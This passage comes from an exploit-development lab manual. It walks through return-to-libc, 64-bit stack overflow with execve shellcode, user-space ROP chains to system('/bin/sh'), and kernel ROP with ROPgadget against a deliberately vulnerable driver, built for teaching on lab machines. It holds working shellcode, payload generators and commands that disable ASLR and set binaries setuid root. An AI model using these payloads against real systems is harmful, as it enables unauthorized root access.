20. We have not completed the steps yet; because we got to the system, it does not mean that it is ready. We have to pass the string /bin/sh to the system function; otherwise, we do not have a shell.
21. Therefore, we still need to do the following:
a. Obtain the address containing “/bin/sh”.
b. Determine where to insert that address relative to our buffer[].
22. We have the address from the technique we used earlier, so we can use that now. Since we are on a 32-bit system, each address is 4 bytes. We need to add two levels to the stack frame. This is shown in the following screenshot.
stack3.jpg
23. As the above screenshot shows, we need to add 0x08 bytes to our address of the Frame Pointer (ebp).
24. To calculate this, it is best to use a step-by-step approach and trace the control flow from the return of bof() into the entry of the system(). This will provide us the correct distance for the address from the “bin/sh” to the buffer.
25. Note that if we change the name of the program, it will CHANGE the address as well.
26. Every function on return executes the following two assembly instructions:
mov %ebp, %esp : copy the value of ebp into esp
pop %ebp : pop the top of the stack and place it into ebp
27. This is shown in the following screenshot.
stack4.jpg
28. The stack pointer now points to where the frame pointer points in order to release the stack space allocated for the local variables.
29. The previous frame pointer is assigned to %ebp to recover the frame pointer of the caller’s function.
30. The return address is popped from the stack, and the program jumps to that address. This instruction moves the stack pointer.
31. With the buffer overflow, the return address will be that of our system(). Once it enters this, it will execute the following assembly instructions.
push %ebp : push the current value of ebp onto the top of the stack
mov %esp, %ebp : copy current value of esp into ebp
32. Once this has occurred, we have a different stack as shown in the following screenshot.
stack5.jpg
33. As you review the screenshot in Figure 6.11, note that the system() would find the address of its string argument 0x08 bytes above the ebp. This is shown in “Expected by system()”.
34. This is 0x04 bytes above the location where the FILE* was placed in the bof() methods stack frame. You can also observe that the system() will look for its return address 0x04 bytes about the ebp, which is exactly where the FILE* was placed in the bof() methods stack frame.
35. With this data, we can now calculate where to place the system() as well as the exit() so that we get a clean exit from the program and finish execution. An example of this stack is shown in the following screenshot.
stack6.jpg
36. We now need to calculate the addresses, which means that we have to use the debugger and determine the distance between edb and the buffer[] as we have done before.
37. Before we do that, we can take a look at the exploit calling program. Open exploit.c in your preferred editor. An example of this is shown in the following screenshot.
Screenshot
38. As we review the code, it is obvious and in the comments as well, we have to calculate the following three locations:
a. “/bin/sh”
b. system()
c. exit()
39. It is now time for debugging. Exit your editor, and enter gcc -fno-stack-protector -z noexecstack -g -o retlib_gdb retlib.c.
40. Next, enter gdb retlib_gdb.
41. Enter b bof.
32. Enter run.
43. Now we need the addresses. Enter p $ebp followed by p &buffer. An example is shown in the following screenshot.
Screenshot
44. Record these values or make a note of them.
45. Run our code from earlier to printenv and obtain the address for our /bin/sh.
46. Now we need to know the difference. The process in gdb is shown in the following screenshot.
Screenshot
47. As the above screenshot shows, we have a difference of 0x14. We now have the following:
a. Distance between buffer[] and ebp = 0x14 = 20
b. Distance of address of system) from buffer[] = 20 + 4 =24
c. Distance of exit() from buffer[] = 24+4 = 28
d. Distance of address of “/bin/sh” from buffer[] = 28+4 = 32
48. We now have all required information to enter into the exploit code and see how accurate our tools are.
49. We now take the numbers we have and place them and the addresses in our exploit code and see what occurs.
50. The one challenge is that the addresses are never exact, so if your program crashes, you can debug the retlib and see if there is a different address than what is recorded. The following program accomplishes and you can also use it to compare with the previous code.
```c=
/ getenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3)
{
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
```
51. An example of the code being used is in the following screenshot.
Screenshot
52. Note that when this lab was written, the program showed a 4-byte difference in the address for “bin/sh”. You might want to run it through a debugger to validate the address.
53. An example of the successful exploit is shown in the following screenshot.
stack7.jpg
54. As the above screenshot shows, we still had to run our custom code for the root level, and this is because of the protections that are now in the shell. This will occur again, so it is best to be aware of it. There are two methods to solve this, and you can choose either based on your preference.
55. One method is that you can link the /bin/sh to another shell: sudo ln -sf /bin/zsh /bin/sh
56. The other method is to modify our shell code: Change “\68””//sh” to “\x68””/zsh”
57. The lab objectives have been achieved. Clean up as required.
58. All codes here are based on the SEED Labs from Syracuse University that was developed from a grant from the National Science Foundation. You are encouraged to explore the labs further.
## Exercise 7: 64-bit exploitation
Lab Objective: Exploit code on a 64-bit OS.
Lab Tasks:
1. Login to the Software-Test-Linux machine using studentpassword as Password.
Screenshot
2. As we have done before, first, turn off the obstacles to avoid so we can do our testing without dealing with them as well. In the terminal window, enter sudo sysctl -w kernel.randomize_va_space=0. This will turn off Address Space Layout Randomization (ASLR) as shown in the following screenshot.
Screenshot
3. We want to start with an example of why our 32-bit way of thinking does not work. We will first smash the stack. In your machine, open the editor of choice and enter the following code:
```c=
#include <stdio.h>
#include <unistd.h>
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
}
int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
vuln();
return 0;
}
```
4. Next, we want to write a driving program to test with. Save the file you just created and call it simple.c.
Screenshot
5. Open another editor session, and enter the following code in python to test our vulnerable code:
```c=
#!/usr/bin/env python
buf = ""
buf += "A"*400
f = open("in.txt", "w")
f.write(buf)
```
6. We are using python here to create a file and write 400 “A”s to it. Save the file as test.py.
Screenshot
7. Run the program by entering python test.py. Then, enter more in.txt. An example of the output is shown in the following screenshot.
Screenshot
8. The screenshot above shows that we now have our driving file, which is a simplistic fuzzer. Now we are ready to compile the code with the protections off. Enter gcc -fno-stack-protector -z execstack simple.c -o simple.
9. Next, debug the code. Enter gdb simple.
Screenshot
10. Once you are in the program, enter r < in.txt. We are trying to get the program to load the file with the “A”s. An example of this is shown in the following screenshot.
Screenshot
11. We now have the dreaded segmentation fault. Take a few minutes and review the data dump.
12. So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact, we do not control RIP at all. We are overwriting RIP with a non-canonical address of 0x4141414141414141, which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead. The goal, therefore, is to find the offset with which to overwrite RIP with a canonical address. We can use a cyclic pattern to find this offset.
13. In gdb, enter pattern_create 400 in.txt. We are writing a pattern to the in.txt file and will see if we have any luck with it. Once the command completes, enter r < in.txt. An example of the output of the command is shown in the following screenshot.
Screenshot
14. Clearly, we have the pattern, so let us look at the offset. Enter x/wx $rsp. The output of this command this is shown in the following screenshot.
Screenshot
15. We now have the offset. Let us extract the offset. Enter pattern_offset 0x41413741. An example of the output is shown in the following screenshot.
Screenshot
16. As the above screenshot shows, we have the RIP at offset 104. Let us now see if this will help us get a shell.
17. Create another file and enter the following code:
```c=
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104 # offset to RIP
buf += pack("<Q", 0x424242424242) # overwrite RIP with 0x0000424242424242
buf += "C"*290 # padding to keep payload length at 400 bytes
f = open("in.txt", "w")
quit
f.write(buf)
```
Screenshot
18. Save the file as test2.py, and then run it to create the contents of the in.txt file. Once you have created the file, enter r < in.txt in gdb and see if this has helped. An example of the output is shown in the following screenshot.
bbb.jpg
19. As you can see, this is successful. As the above screenshot shows, we now have the pattern BBBBBB written over RIP. Now we only need to write our shellcode directly on the stack.
20. Enter the following:
```bash=
$ export HACK =`python -c 'print “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
```
21. To avoid typing, note that the following is located in the file 27byteshell located in examples/samplecode:
```c=
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
```
22. We have used a program to get the environment variable address, so you can use that one. There is another one credited to Jon Erickson’s book Hacking: The art of exploitation. This is shown next:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
```
23. The file getenv.c has the code in it. Once you have created the file, enter the following to get the address ./getenv HACK ./simple. The output of this command is shown in the following screenshot.
Screenshot
24. Now that you have the address, update the exploit code as shown here:
```c=
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104
buf += pack("<Q", 0x7ffcc5b362bb)
f = open("in.txt", "w")
f.write(buf)
```
25. Change the ownership and permissions of the file. Enter the following:
a. sudo chown root simple
b. sudo chmod 4755 simple
26. Remember to replace the address with the one that is printed in your test. Then save it as exploit2.py. Once you have saved the file, enter python exploit2.py.
27. Next, we are ready to update our in.txt file. Enter (cat in.txt ; cat) | ./simple. If all goes well, you should have a shell. Enter whoami. As indicated in the following screenshot, root should appear.
28. If successful, you have exploited code on a 64-bit OS.
29. The lab objectives have been achieved. Clean up as required
## Exercise 8: ROP Fundamental Exploitation
Lab Objective: As we have done before, we will explore another method of exploitation that we use to overcome the limitations of the system().
Lab Tasks
1. Login to the 64 bit 12.4 Linux machine using studentpassword as Password.
Screenshot
2. Before we do that, we will walk through the process on the 64 bit, obtain a shell, and look at the Return Oriented Programming (ROP) chain.
3. We will be using the 64-bit machine for this lab, but we are not using the 16.04 version, because there are additional obstacles and we want to focus more on the ROP using 64 bit. Please also note that 12.04 still works for a lot of the different techniques for practice and is still widely deployed in the Industrial Control Systems (ICS). If required, power it on and log in to it. Once you are logged in, open a terminal window and open your favorite editor. In the editor, enter the following code:
```c=
int main() {
asm("\
needle0: jmp there\n\
here: pop %rdi\n\
xor %rax, %rax\n\
movb $0x3b, %al\n\
xor %rsi, %rsi\n\
xor %rdx, %rdx\n\
syscall\n\
there: call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
");
}
```
4. This code and concepts are borrowed from a Stanford University crypto course.
5. Regardless of where in memory our code winds up, the call-pop trick will load the RDI register with the address of the "/bin/sh" string.
6. The needle0 and needle1 labels will aid searches later on, as well as the 0xdeadbeef constant (though since x86 is little-endian, it will show up as EF BE AD DE followed by 4 zero bytes).
7. Next, save the file as ropshell.c. Then compile it, and you should get a shell as shown in the following screenshot.
Screenshot
8. As the above screenshot shows, we have a shell, but we are not root. We have already discussed how to do this, so we will now continue with the process.
9. We would also like to extract the information and data we need for the payload that we want to inject. Enter objdump -d ropshell | sed -n '/needle0/,/needle1/p'. Ensure that you have complied your code first. An example of the output of this is shown in the following screenshot.
Screenshot
10. Since we are on a 64-bit system, there are a couple of things to note. One is that the code segment is located at 0x400000; so in the binary, as shown in the image, the code starts at offset 0x4b8 because this is located at the top of the image. Then it finishes at 0x4d5. So, we want to calculate the difference as shown in the following screenshot.
Screenshot
11. We need to use multiples of 8, so we can create a custom shell code with the following command:
a. xxd -s0x4b8 -l40 -p ropshell shellcode
b. cat shellcode
An example of this is shown in the following screenshot.
Screenshot
12. To save time, since we have done this before, enter the following code in your preferred editor and save it as victim.c.
```c=
#include <stdio.h>
int main() {
char name[64];
printf("%p\n", name); // Print address of buffer.
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
```
13. As you look at our victim code here, you will see that we added a statement to print the address of the buffer. This is because we know how to get this with the debugger, so we omitted that step. You can always run it through gdb after you compile it.
14. Once you have saved it, then compile it. Enter gcc -o victim -fno-stack-protector victim.c.
15. You might get some warning messages about the fact that we are using gets(). We are aware of this, but we are only testing now. The version of Ubuntu that we are using is not throwing any warnings.
16. Next, we need to disable the executable stack protection. We could have done it on the command line with the gcc command like we have done earlier, but we wanted to demonstrate another method. Enter execstack -s victim. You would have to install this on some distros, but we have done this for you.
17. We need to disable ASLR, but we will use a different method than we have before. We can do it as we run the program. Enter setarch `arch` -R ./victim. Next, note the address of the buffer here:
18. An example of the output of the command is shown in the following screenshot.
Screenshot
19. Now we have one task left. This address is not in the format we need; we need little-endian. Therefore, you could calculate it, but as always, there are methods to do this in Linux, so we will use them. Remember to change the addresses here and everywhere to match what your machine is showing since there is no guarantee that they will be the same.
20. Enter a=\'printf %016x 0x7fffffffe1a0 | tac -rs..' Then enter echo $a. An example of this output, which shows the address in the little-endian format, is shown in the following screenshot.
Screenshot
21. Now all we have to do is use the shellcode we created, and we should get a shell. Enter ((cat ropshell ; printf %080d 0 ; echo $a) | xxd -r -p ; cat ) | ./ropshell.
22. Hit enter three times and enter ls. This should provide a listing and show that you are in a shell. This is shown in the following screenshot.
Screenshot
23. If we turn on the execute stack feature, the program will fail, so we need another way. The whole area is marked nonexecutable, so we get shut down.
24. The snippets of code are handpicked from executable memory; for example, they might be fragments of libc. Hence the no-execute (NX) bit is powerless to stop us. Please see more details below:
a. We start with SP pointing to the start of a series of addresses. An RET instruction kicks things off.
b. Forget RET’s usual meaning of returning from a subroutine. Instead, focus on its effects: RET jumps to the address in the memory location held by SP, and increments SP by 8 (on a 64-bit system).
c. After executing a few instructions, we encounter an RET.
25. In ROP, a sequence of instructions ending in RET is called a gadget.
26. As we did earlier, we can use the libc system() function with “/bin/sh” as the argument. We can do this by calling a gadget that assigns a value that is chosen and provided to RDI and that causes a jump to the system() libc function.
27. We first want to expand on the process we used before and locate libc. Enter locate libc.so. An example of this is shown in the following screenshot.
Screenshot
28. As the above screenshot shows, we have both 32- and 64-bit and we want to focus on the 64-bit code. So, now we want to look for gadgets. There are tools for this, but we will show the manual way of doing it since we can always use a tool. Remember that we need to find the instructions ending in RET.
29. Enter the following: objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep -B5 ret. An example of the output of the command is shown in the following screenshot.
Screenshot
30. Out of the long list of possible gadgets here, we must find the following:
a. pop %rdi
b. retq
31. We could go through this long output, but that is not a great solution. You cannot search for a sequence of bytes; at least at the time of writing this lab, there was no easy way to do this. So, using the workaround from the crypto team at Stanford, enter xxd -c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep -n -B1 c3 | grep 5f -m1 | awk '{printf"%x\n",$1-1}'
i. Dump the library, one hex code per line.
ii. Look for "c3", and print one line of leading context along with the matches. We also print the line numbers.
iii. Look for the first "5f" match within the results.
iv. As line numbers start from 1 and offsets start from 0, we must subtract 1 to get the latter from the former. We also want the address in hexadecimal. Asking Awk to treat the first argument as a number (due to the subtraction) conveniently drops all characters after the digits, namely the "-5f" that grep outputs.
v. An example of the output of the command is shown in the following screenshot.
Screenshot
32. We now have the address of the gadget in libc, so now we need to get the following:
a. libc address – 0x22a12
b. address of “/bin/sh”
c. address of libc’s system() function
33. Once we have these, we can execute the next RET instruction. The program will pop the address of “/bin/sh” into RDI via the first gadget, and then jump to the system().
34. We are ready to test our analysis to this point. In one terminal window, enter ./victim. In another terminal window, enter the following two commands:
```
a. pid=`ps -C victim -o pid --no-headers | tr -d ' '`
b. grep libc /proc/$pid/maps
```
35. An example of the output of the commands is shown in the following screenshot.
Screenshot
36. From the output, we see that libc is loaded into memory at 0x7fd674f31000. With our earlier result, we know that the address of our gadget is 0x7fd674f31000 + 0x22a12.
37. Now we must put “bin/sh” somewhere in memory. We can proceed similarly as earlier and place this string at the beginning of the buffer. From earlier, its address is 0x7fffffffe1a0.
38. The last thing we need is the location of the system(). We have seen how we can get this in a variety of different ways. The first thing we need to do is create a program that will find the addresses for us. This is shown in the following code segment:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
char cmd[64];
sprintf(cmd, "pmap %d", getpid());
system(cmd);
return 0;
}
```
39. Save the file as base.c. Then compile it. Once it is compiled, we will use it.
40. In the terminal window, enter the following commands:
a. libc=/lib/x86_64-linux-gnu/libc.so.6
b. base=0x$(setarch `arch` -R ./base | grep -m1 libc | cut -f1 -d' ')
c. echo …base at $base
d. system=0x$(nm -D $libc | grep '\<system>' | cut -f1 -d' ')
e. echo …system at $system
f. exit=0x$(nm -D $libc | grep '\<exit>' | cut -f1 -d' ')
g. echo …exit at $exit
h. gadget=0x$(xxd -c1 -p $libc | grep -n -B1 c3 | grep 5f -m1 | awk '{printf"%x\n",$1-1}')
i. echo …push-RDI gadget at $gadget
41. An example of the output from these commands is shown in the following screenshot.
Screenshot
42. Before we explain what we have done, review the screenshot. We now have all values that we need for our exploit to break the no execute on the stack protection. We have accomplished all this without a debugger!
43. We loaded the library into the libc variable, then ran our code, and searched for the information within the library and memory. For the gadget, we used awk to format the output as follows:
a. Dump the library, one hex code per line
b. Look for "c3" and print one line of leading context along with the matches. We also print the line numbers.
c. Look for the first "5f" match within the results.
44. As line numbers start from 1 and offsets start from 0, we must subtract 1 to get the latter from the former. We also want the address in hexadecimal. Asking Awk to treat the first argument as a number (due to the subtraction) conveniently drops all characters after the digits, namely the "-5f" that grep outputs.
45. We are where we need to be, and we plan on overwriting the return address as follows:
a. libc address + 0x22a12
b. address of “/bin/sh”
c. address of libc’s system() function
46. Then, the next return instruction should pop the address of “/bin/sh” into the RDI using the first gadget, and then jump into the system() function
47. Let us work through another method to validate what we have obtained with respect to the address of system.
48. Enter nm -D /lib/ x86_64-linux-gnu/libc.so.6 | grep '\'. The output of this command is shown in the following screenshot.
system.jpg
49. As the above screenshot shows, we do in fact have system, and now we are in business. So, we just use the address plus the offset for each of the values; in this case, the system offset is 0x45730.
50. Before we continue, record the addresses here:
a. base ____________________
b. system __________________
c. exit _____________________
d. gadget __________________
51. We have the values stored as variables. We can use them with our command and avoid the long hex numbers. This is one of the reasons for choosing this method. Enter the following command:
```bash=
addr=$(echo | setarch $(arch) -R ./victim | sed 1q)
( (
echo -n /bin/sh | xxd -p
printf %0130d 0
printf %016x $((base+gadget)) | tac -rs..
printf %016x $((addr)) | tac -rs..
printf %016x $((base+system)) | tac -rs..
printf %016x $((base+exit)) | tac -rs..
echo
) | xxd -r -p ; cat) | setarch `arch` -R ./victim
```
52. Hit enter a few times. Type in some commands and confirm that you have successfully passed “/bin/sh” into memory and caused the rip to execute it. So, how did we do this difficult task? We did this by analyzing the memory and crafting shell code manually!
53. More specifically, there are 130 0s that xxd turns into 65 zero bytes. This is exactly enough to fill the buffer after “/bin/sh” as well as the pushed RBP. Then, the next location overwrites the top of the stack.
54. An example of the output of the command is shown in the following screenshot.
Screenshot
55. You have successfully bypassed the no execute stack on a 64-bit OS.
56. We have only provided a brief overview here: with just a few gadgets, any computation is possible. Furthermore, there are tools that mine libraries for gadgets and compilers that convert an input language into a series of addresses ready for use on an unsuspecting non-executable stack. A well-armed attacker might as well forget that executable space protection even exists.
57. The lab objectives have been achieved. Close all windows and clean up as required.
## Exercise 9: Linux Kernel ROP and ROPgadget
Lab Objective:
As earlier, we will explore another method of exploitation, namely, the direct manipulation of the kernel via the extracted image on the machine.
Lab Tasks:
1. Login to the 64 bit 12.4 Linux machine using studentpassword as Password.
Screenshot
2. In-kernel Return Oriented Programming (ROP) is a useful technique that is often used to bypass restrictions associated with non-executable memory regions. For example, on default kernels, it presents a practical approach for bypassing kernel and user address separation mitigations such as Supervisor Mode Execution Protection (SMEP) on recent Intel CPUs.
3. As you are reading this, there will be changes in the protection mechanisms. The exact technique to adopt will more than likely change, but the process covered here will not.
4. In the previous lab, we looked at bypassing the non-executable stack. This is another method to do it as well.
5. We will review how you can extract ROP gadgets from the kernel binary. We need to consider the following:
a. We need the ELF (vmlinux) to extract gadgets from. We can use the /boot/vmlinux but it needs to be decompressed.
b. A tool to extract the ROP gadgets since there are so many.
6. We can extract the image using the extract-vmlinux. Please see the following:
```c=
!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
```
7. The script is located in the folder /home/student/Downloads if you want to view it. The command to extract the compressed image is as follows (this is only for reference, you do not need to enter it): sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux.
8. Since the file has been extracted, navigate to Downloads directory and enter file vmlinux. An example of the output of this command is shown in the following screenshot.
Screenshot
9. ROP techniques take advantage of code misalignment to identify new gadgets. This is possible due to x86 language density, i.e. the x86 instruction set is large enough (and instructions have different lengths) for almost any sequence of bytes to be interpreted as a valid instruction. For example, depending on the offset, the following instructions can be interpreted differently (note that the second instruction represents a useful stack pivot). This is where we setup a fake stack, and then use it to bypass the protections:
a. 0f 94 c3; sete %bl
b. 94 c3; xchg eax, esp; ret
10. If we run objdump against the uncompressed kernel image, and then grep for gadgets, it will not provide that many, since we are working with aligned addresses, which do suffice in many cases.
11. We will use the tool ROPgadget from https://github.com/JonathanSalwan/ROPgadget.
12. In the terminal window, enter cd ROPgadget.
13. Once you are in the directory, enter ./ROPgadget.py --binary ~/Downloads/vmlinux > ~/ropgadget.
14. Now, enter tail ~/ropgadget. An example of the output of this command is shown in the following screenshot.
Screenshot
15. As the above screenshot shows, quite a few gadgets have been found. This can be a challenge as well, but you can also expect that many of these will not be usable or in an area you can write to.
16. Note that the Intel syntax is used with the ROPgadget tool. Now we can search for the ROP gadgets listed in our privilege escalation ROP chain. The first gadget we need is pop %rdi; ret:
17. Next, we can grep for this in our file. Enter grep ': pop rdi ; ret' ~/ropgadget. An example of this is shown in the following screenshot.
Screenshot
18. Clearly, we can use any of these as our gadgets, but whatever we select, we would need to construct our return using that number, as the stack pointer will move by that number from higher to lower memory.
19. Again, as a reminder, a gadget may be located inside a non-executable page, so we might have to try multiple methods to get the right gadget.
20. We can adjust the initial ROP chain to accommodate for the call instruction by loading the address of commit_creds() into %rbx. This will point %rdi to our root structure, which should elevate privileges.
21. For this to tester, we can use a vulnerable driver program that has been created by Trustwave SpiderLabs Vitaly Nikolenko. The code for the driver is shown in the following screenshot.
Screenshot
22. As the above screenshot shows, the value copied into fn does not do any bound checks for the array, so we can use an unsigned long to access any memory address in user or kernel space.
23. Then the driver gets registered and prints the ops array. In a new terminal window, enter cd ~/Downloads/trustwave/kernel_rop.
24. Next, we want to remove the code in case it has already been compiled.
a. rm drv.ko
b. lsmod | grep drv
25. If you have output, then that means the drv tainted module is loaded. In that case, we need to unload it. Enter sudo rmmod drv. This should remove the kernel module.
26. Next, we want to build the code and insert the module. Enter make && sudo insmod ./drv.ko. An example of the output of the command is shown in the following screenshot.
Screenshot
27. Next, enter lsmod | grep drv and verify that your kernel module is loaded.
28. To see our offset, enter dmesg | tail. An example of the output of the command is shown in the following screenshot.
Screenshot
29. Enter sudo chmod a+r /dev/vulndrv.
30. The next step is to provide a precomputed offset. Any memory address in kernel space that can be executed will work.
31. We need a way to redirect kernel execution flow to our ROP chain in user space without user space instructions.
32. So far, we have demonstrated how to find useful ROP gadgets and build a privilege escalation ROP chain.
33. Since we cannot redirect kernel control flow to a user-space address for this lab, we need to look for a gadget that is residing in kernel space. Once we have that, then we will prepare a ROP chain in user space, and then fetch pointers to instructions in kernel space.
34. Using arbitrary code execution in kernel space, we need to set our stack pointer to a user-space address that we control. Even though our test environment is 64-bit, we are interested in the last stack pivot gadget but with 32-bit registers, i.e. xchg %eXx, %esp ; ret or xchg %esp, %eXx ; ret. In case our $rXx contains a valid kernel memory address (e.g., 0xffffffffXXXXXXXX), this stack pivot instruction will set the lower 32 bits of $rXx (0xXXXXXXXX which is a user-space address) as the new stack pointer. Since the $rax value is known right before executing fn(), we know exactly where our new user-space stack will be and mmap it accordingly.
35. We are looking for the xchg instruction to select as our ROP gadget. Enter grep ' : xchg eax, esp ; ret ' ~/ropgadget. An example of the output of this command is shown in the following screenshot.
Screenshot
36. Please note when choosing a stack pivot gadget that it needs to be aligned by 8 bytes (since the ops is the array of 8-byte pointers and its base address is properly aligned). The following simple script from Trustwave can be used to find a suitable gadget.
Screenshot
37. Let us run the script. Enter cat ~/ropgadget | grep ': xchg eax, esp ; ret' > gadgets. An example of the output of this command is shown in the following screenshot.
38. The stack address is the address in user-space where the ROP chain needs to be mapped to, which is coded as a fake_stack() as shown in the following screenshot.

39. The RET instruction in the stack pivot has a numeric operand; since there is no argument; it pops the return address off the stack and jumps to it. The second ROP gadget is for cleaning up properly.
40. There is a chance that the syscall in the kernel could switch context. We need to prepare for that. It is typically done by using the iret instruction (inter-privilege return). For this, we can get the address of the iretq instruction. Enter objdump -j .text -d ~/Downloads/vmlinux | grep iretq | head -1. An example of this is shown in the following screenshot.

41. We need more since we are on a 64-bit system. We need swapgs since this is executed at the entry to a kernel space routing and is required before returning to user space.
42. We now have everything required. It is still possible that a context switch or something else could occur. However, we have the process now and if it does fail, then you can always debug it. An example of the ROP chain is shown in the following screenshot.

43. It is now time to check. Enter dmesg | grep addr | grep ops. An example of this is shown in the following screenshot.

44. Now that we have the address for the ops, we need the offset. Enter ~/find_offset.py ffffffffa02e9340 ~/gadgets. Remember to replace this with your own addresses and offsets if they are different. An example of the output of the command is shown in the following screenshot.

45. Next, compile the exploit. Enter ./rop_exploit 18446744073644231139 ffffffffa02e9340. An example of what it looks like when successful is shown in the following screenshot.

46. If your exploit fails, then compile the executable with debugging symbols and try to see what is missing. It takes times and debugging effort to get the exact code sequences, particularly to build the ROP chain.
47. The lab objectives have been achieved.